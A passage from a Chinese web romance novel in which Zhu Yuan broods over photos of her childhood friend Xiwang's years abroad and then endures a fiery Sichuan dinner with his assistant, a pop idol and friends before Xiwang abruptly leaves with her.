为什么要说MealDeal便宜呢?便宜是多便宜?梅疏阿姨没给他钱花?
这个城堡不在那个国家吧?他还去过很多别的地方玩吗?
站在草坪上看上去心情真好,看上去经常去那里?
那个缠着要做他是由的同学,最终做成了室友吗?
房东为什么回去家里?是房子住的有什么问题?
房东夫妻看上去很和蔼,应该会很照顾希望吧?
祝愿抬头去看此刻正在对面给杨邢绚科普股票经纪人骗局的希望,他什么时候看的这本书,知道这个故事的呢?包括那些他现在赖以安身立命的本事,好像都是在离开她之后。她突然不太想再看这些照片了,心里一下一下的揪着,她好像接受不了这样对希望的无知。
好远,那不是她熟知的希望,甚至不是她认识的希望了。
或许那些个差点忘了世界上还有希望存在的暑假,她应该去找希望,至少实地关心一下他过得到底什么样的生活。还是说,那些个暑假或者不仅仅是暑假,希望其实也差点忘记世界上有个她了呢?
或许如果希望毕业了没回来,他们的世界里都不会再也彼此了。
那他又该在谁的世界里呢?祝愿的视线重新回到身边依然在给她介绍照片的储圆圆。其实希望回来之后,他们在一起的话题似乎总是在翻旧账,应该无趣的很,那种有说不完的新话题的人,都是后来认识的新朋友吧。
杨邢绚说到兴起,想起那个早上希望和他在隔壁门口的对话,话到嘴边就问了出来:“希总?”他还有些不太确定,“您这次带名片在身上了吗?”
这次真没带,今晚是私人局。他又去看祝愿,只见她呆愣愣、双目无神的冲着储圆圆的手机发愣,像足了被梦魇住而走丢的模样。希望下意识就立刻开口叫她。
祝愿受惊了似的看向他,希望几乎瞬间就从板凳上弹了起来。
“干嘛?”祝愿被希望一惊一乍的动作弄的平复了许多。
希望低头扶了一扶手边刚刚碰歪的电脑,抬下巴问道:“你们在干嘛?”
“女生的事情,你不要问。”储圆圆把手机往怀里卡住,抢先道。
“嗯。”祝愿点头,毫无感情地应和。
希望第一次后悔今晚让祝愿到这里吃饭。
梁倩再再次进来的时候,看到在座座次和气场愣了一刻,才对希望说按照人数重新加了菜,已经可以起菜了。
希望心不在焉的应了一声。
带着电脑的祝愿和杨邢绚开始收电脑,储圆圆这才觉得他们几人的组合在一起很奇怪。
“偶像,你是真要去祝老师学校上学了吗?”还是更好奇的梁倩开口问道,这一开口倒是给再坐某人解答了自端午一来的疑问,希望得意地朝祝愿看一眼。
岳歌听到问题很自然地想到祝愿下午的时候问他是不是有私生,于是警惕问道:“你们怎么知道的?”
梁倩几乎是立刻就懂了,连忙解释道:“我们不知道,就我知道。”
岳歌只是用目光表达了询问。
梁倩指着祝愿,继续道:“我是看了祝老师发的动态,别人可能看不出来,但是她最后加的
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小音符真的是太懂了!我很自然就联想到之前传言你要退圈读书。”
希望扬眉拿出手机,杨邢绚也是。两人都是直接点开了祝愿的头像,然而他俩都什么也没看到。
“祝老师应该不懂,”岳歌笑着说,“应该只是巧合。”
那边祝愿一脸无辜,问道:“懂什么?”
他们哪里知道,那既不是祝愿懂,也不是巧合,只是祝愿看过梁倩发过关于岳歌的动态之后的一个模仿动作呢?
梁倩赶紧给祝愿科普了岳歌的应援标志,紧接着还是问岳歌:“偶像,所以你真的是要去祝老师她们学校念书了吗?”
岳歌的警惕变成了犹豫。
梁倩赶紧指天发誓,说绝不会说出去,亲爹亲妈都不会说。
岳歌还是稍有犹豫的望向了祝愿,
希望的手在桌上的水杯边无意识的划着,狐疑的目光在二人脸上巡睃。
储圆圆不解道:“难道岳歌是要做祝愿的学生吗?”
祝愿睁大了眼睛,手放在身前极速地摆。
梁倩想起来进门时候三人的状态,接茬道:“那是杨老师?”
本来只是安安静静吃瓜的杨邢绚反应过来也赶紧摆手,并顺口就说道:“是你偶像,你不知道你偶像什么专业吗?肯定不是我和祝老师的学生啊。”
希望拿起水杯抿了一口。
岳歌:“……”
服务生端着餐盘敲门而入,打断了众人的话头,岳歌压低了帽檐,坐位更低了一些。
一道道红色油光可鉴,浓香四溢让人的菜不间断的就开往桌上摆,让人垂涎欲滴,除了祝愿。
希望第一次后悔今晚让祝愿到这里吃饭。
希望看着红红火火的一桌菜,看了看祝愿,又看了看梁倩,一句“你们晚上怎么会订在这儿”的问题差点没问出来。
“去弄点鲜榨果汁。”希望最终说道。
“我要冰鲜啤。”祝愿的手低低的举在肩边,声音不太大。
杨邢绚明显是想到了什么,梗了下脖子,扬声道:“我也要冰鲜啤,谢谢!”
“我也要!”储圆圆也举手。
希望扬眉,意外的看了她一眼,没说什么。
因为岳歌在,所以让包厢里的服务生出去了。
“那,”已经站起来随时准备去叫服务生的梁倩又看了眼老板的两位女生朋友,问,“老板果汁还要吗?”
希望很自然看向没说话的岳歌。
梁倩抢先开口道:“岳歌吃辣肯定喝凉茶。”
岳歌诚恳的点头表示赞成,希望用全脸的肌肉对梁倩表达了诧异。
梁倩笑着得意地又继续说道:“他最爱吃辣,吃辣必喝凉茶,是粉丝必修啊!粉丝显微镜都看着呢!”
希望脸上的表情应该是恍然大悟,他对梁倩说:“所以我说今晚让她们来这里吃饭的时候,你……”
“对啊,”梁倩此刻已经完全忘记了什么职业什么专业,忘乎所以道,“而且您和储小姐也在,今天咱们又能多吃两道他们家招牌菜。”
希望手指点着一桌子菜,问:“所以这家所有招牌菜都是辣的?”
梁倩开心地点头。
对面祝愿好像轻轻地叹了一口气。
……
17. 17、“怎么了?”
17、“怎么了?”
祝愿和尔默的同学时期,之所以关系好,除了是班上唯二的女同学外,还一定是因为有共同玩的爱好和吃的爱好。
比如吃辣这会事儿。
两人都是能吃点辣。但尔默是不知道那种辣椒过敏还是怎么的,吃的不好,脑壳就嗡嗡疼,除了学校门口的那家牛肉面。祝愿比尔默好点,没有什么过敏,就是能吃辣这件事维持的特别不持久,所以,她一般只会在小吃比如炸串那些上选择最辣的口味,但要说正餐,至多就一碗牛肉面,其他时间她都是爱本地清淡口味的。
所以学校门口那家牛肉面,几乎成为这二人各种维系情感的纽带。
而这桌菜,连凉菜都是裹着满满的辣椒面的。
“这道麻辣牛肉,几乎是到店必点。”梁倩尽职尽责的为偶像和其他人介绍着。
“这么大的牛肉……粒?”储圆圆夹了一粒在筷头,睁大了眼睛问道。
红艳艳方方正正的牛肉粒,点缀着些许白芝麻,看上去就是颗巨型干牛肉制品或者辣腐乳。
只是这一口下去,祝愿的辣承受力瞬间就从初始值坐了个过山车,那辣感直叫人头皮发麻。
“我嘴是不是辣坏了。”祝愿脸皱着,想喝冰啤酒解辣,一时怕加剧问题又没敢拿。
“怎么了?”希望问话时,做了一个收脚势,那样子像是随时要站起来。
祝愿仍是皱着脸说道:“我怎么在牛肉粒里吃出来一股子鱼香肉丝的酸甜怪味儿?”
“吃不出来这种味道才是味觉出了问题哦,”依然是梁倩尽职尽责的解释道,“这种麻辣中带着鱼香肉丝的酸甜味,就是他们家这道菜的特色。”
希望也夹了一粒,放嘴里嚼了几下后松了口气。
当时只觉得头皮都辣麻了的祝愿,放心的拿起手边的冰啤酒,放心的“吨吨吨”起来。
几乎是一口气干了满满一杯,喝完之后双眼满眼水气的,目光呆滞,这辣味直上头,简直让她头昏。
太带劲了!可以说是刺激!至于这个刺激到底到了什么程度,反正后面再吃说同样是特色的椒麻鸡和夫妻肺片,吃起来完全是两道使人平静的菜品,几乎让人吃不出到底什么味道。
“没有牛头皮!”储圆圆吃了好几筷子夫妻肺片后抱怨道。显然,她吃得津津有味的样子与祝愿形成了鲜明的对比。
“行家啊。”对面岳歌说道。
“这个菜系我可是真的有研究的,”储圆圆随手夹了一颗宫保虾球里的腰果,“你看这道宫保虾球,不仅宫保味型做得十分不错,而且这个腰果,你尝尝,是用了怪味粉,可真是用心了。”
岳歌依言也夹了了一颗腰果,尝味后拿起自己手边的王老吉,一边给她竖了大拇指,一边在空中跟她碰了杯。
储圆圆也依样和岳歌在空中比划了一下,然后在空中转向对着希望,她说:“主要还是你挑的地方好。”
希望拿起水杯,很随意地那么着往梁倩那儿一指:“跟你说过,我助理很棒。”
被点名的助理突然就一激灵,因为她太知道,boss这样是耐心消耗殆尽的意思。这怎么回事儿?
梁倩顺着boss的低头却上挑的目光,找到了被瞪着正大口灌冰啤酒的祝愿,她这才想起来祝老师吃正餐的时候口味好像都是偏清淡的。但是,boss应该不至于因为这点小事不高兴的哦?亲妈应该都不会关心的这么细致哦?但,如果是亲奶奶可能可以另当别论?
那边杨邢绚看祝愿空杯赶紧又给她满上,她接过杨邢绚的大壶,接力似的也给旁边储圆圆满上,储圆圆好像有样学样地拿了杯子也就是一大口。
梁倩时刻关注着boss疯狂在桌面滑动的手指,琢磨不出到底是为什么或者说到底是为了谁。犹豫再三,她只能非常自然的拿出了手机,仿佛自己查看后,站了起来,走到希望身边,跟他耳语了一番。
这是每次会议中希望露出这种状态时,和梁倩有意交代的默契。给自己冷静的机会,也给下属继续讨论的空间。
耳语具体是什么,没人知道。但是希望听完通常个都会站起来,和在座众人说抱歉,然后现行离席。
而此时,梁倩耳语完站在一边,希望很久都没有反应,只是沉默着手指没有停止的在桌子上思考。
直到梁倩以为自己领会错了情况,默默回到自己的座位上,已经开始对着岳歌展开澎湃的欣赏,希望才从座位上缓慢的站了起来。
“不好意思各位,临时有事需要去处理,”希望转而对祝愿说,“你跟我先走。”
祝愿几乎是本能的就往能旁边看,刚巧储圆圆也看过来,两人对视一个不掩意外,另一个好像只是旁观。
“我?”祝愿指着自己满不确定地问道。
希望挑眉看他,那意思好像是在说,不然呢?
“啊,”祝愿在犹疑中看到了杨邢绚,于是说,“我和小绚绚一起就行了。”<
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p>杨邢绚很自然地就点头说:“对,我和祝老师,我们一起回学校。”
祝愿也点头,伸手又想够啤酒。
“那一起走,我送你们。”希望说。
祝愿去够啤酒的手停住,满脸疑问。
杨邢绚也跟着疑问道:“方便吗?”
希望毫无感情道:“顺便。”
“那?”杨邢绚去看祝愿。
“那储圆呢?”祝愿目光又满桌乱跑。
希望低声道:“梁倩送。”
梁倩今晚所有的观察至此有了最终的答案,立刻点头道:“好的boss。”
旁边储圆圆笑盈盈地望着希望,也说:“行啊。”
岳歌慢慢放下筷子,用纸巾擦了擦嘴后,悠悠开口说:“杨老师晚上如果还有空,你的数据我还有点不成熟的想法。”
希望意味深长的乜了岳歌一眼。
梁倩直接没忍住侧过脸捂嘴笑了起来。
祝愿显示吃惊的看了岳歌一眼,然后满是期待的看向杨邢绚。
杨邢绚几乎是立刻又坐稳了凳子,回看了祝愿一眼,犹豫问道:“会不会太晚了?”
“对对对,”祝愿点头说,“你明早不是有课吗?”
“这倒没什么,”杨邢绚说,“年轻人谁不熬夜啊?主要是怕打扰岳老师。”
“岳老师?”祝愿那一刻简直惊呆了。
杨邢绚挠了挠头道:“他做我老师没问题。”
梁倩听话直接眼放精光了,她不知道怎样才能让全世界知道偶像竟然如此优秀。
“你不是天才儿童,跳级生吗?”祝愿仍是不敢相信的模样。
杨邢绚有些腼腆地说:“术业有专攻嘛。”
祝愿无奈看向岳歌,岳歌无辜的回看她。
储圆圆冷不丁的道:“原来你学霸不是人设?”
“学霸就是他本人啊!”梁倩想到储圆圆知道的还挺多,接话就开始给现场仅能被安利的人疯狂输出。
“那祝老师你和……”杨邢绚非常慎重的思考了对希望的称呼后道,“和希总先走?”
祝愿:……
最终祝愿在因为找不到上得了台面的理由拒绝和希望同走,而不情不愿的跟希望走出了包厢。
储圆圆特别心不在焉的抽空看了眼渐渐关上的包厢门,扭头用那种觉得对方特别懂的眼神看向梁倩,摇头“啧”了一声。
梁倩:?????
……